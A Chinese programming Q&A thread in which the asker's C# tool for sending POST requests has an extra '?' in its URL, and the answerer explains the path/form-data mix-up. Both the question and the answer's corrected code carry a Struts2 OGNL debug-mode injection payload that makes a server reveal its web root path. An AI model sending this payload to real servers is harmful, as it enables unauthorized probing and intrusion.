backerhack 2015-02-14 02:56 采纳率: 50%
浏览 1863
已采纳

c# HttpWebRequest 为什么会给URL自动加?号

        public String getHtml(String url, String data, String htmlEncode)
        {
            try
            {
                //设置模拟http访问参数
                Uri uri = new Uri(url);
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(uri);
                request.UserAgent = "Mozilla/5.0";
                request.Accept = "*/*";
                request.Method = "POST";
                request.Timeout = 40000;
                request.KeepAlive = true;
                request.AllowAutoRedirect = true;
                request.ContentType = "application/x-www-form-urlencoded";
                if (!"".Equals(this.txt_cookie.Text))
                {
                    request.Headers.Add("Cookie", this.txt_cookie.Text);
                }

                Byte[] b = Encoding.ASCII.GetBytes(data);
                request.ContentLength = b.Length;
                Stream stream = request.GetRequestStream();

                stream.Write(b, 0, b.Length);
                stream.Close();
                StreamReader sr = new StreamReader(request.GetResponse().GetResponseStream(), Encoding.GetEncoding(htmlEncode));
                String html = sr.ReadToEnd().Replace("\n","\r\n");
                return html;

            }
            catch (Exception e)
            {
                loginfo(e.Message);
                //MessageBox.Show(e.Message);
            }
            return "";
        }
        public void getInfo() {
            loginfo("正在获取Web信息,请稍等片刻........");
            String exp = "/admin";
            if (this.radb_s19.Checked)
            {

                exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
            }

            String html = getHtml(this.txt_url.Text, exp, "UTF-8");
            this.txt_info.Text = html;

如果txt_url.Text为http://www.1.com/ String exp的内容问 /admin

程序会访问的地址则是http://www.1.com/?admin

我想知道这个?号是哪里来的。。。 能不能取消掉。。0 0。。 嘿嘿

  • 写回答

1条回答 默认 最新

  • save4me 2015-02-15 01:53
    关注

    你看看你的getHtml函数的第二个参数是什么,是提交表单的数据,你使用String html = getHtml(this.txt_url.Text, exp, "UTF-8");调用,自然把String exp = "/admin";作为表单数据,而不是请求路径了。路径是第一个参数。
    你的exp变量和"/admin"到底是想传递什么?如果你是想把 exp = "debug=command&expression...这些数据提交到网站的/admin去,那么

            public void getInfo() {
                loginfo("正在获取Web信息,请稍等片刻........");
                String path = "/admin";
                            String exp = "";
                if (this.radb_s19.Checked)
                {
    
                    exp = "debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22dir:%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()";
                }
    
                String html = getHtml(this.txt_url.Text + path, exp, "UTF-8");
                this.txt_info.Text = html;
    
    本回答被题主选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

悬赏问题

  • ¥15 求差集那个函数有问题,有无佬可以解决
  • ¥15 【提问】基于Invest的水源涵养
  • ¥20 微信网友居然可以通过vx号找到我绑的手机号
  • ¥15 寻一个支付宝扫码远程授权登录的软件助手app
  • ¥15 解riccati方程组
  • ¥15 display:none;样式在嵌套结构中的已设置了display样式的元素上不起作用?
  • ¥15 使用rabbitMQ 消息队列作为url源进行多线程爬取时,总有几个url没有处理的问题。
  • ¥15 Ubuntu在安装序列比对软件STAR时出现报错如何解决
  • ¥50 树莓派安卓APK系统签名
  • ¥65 汇编语言除法溢出问题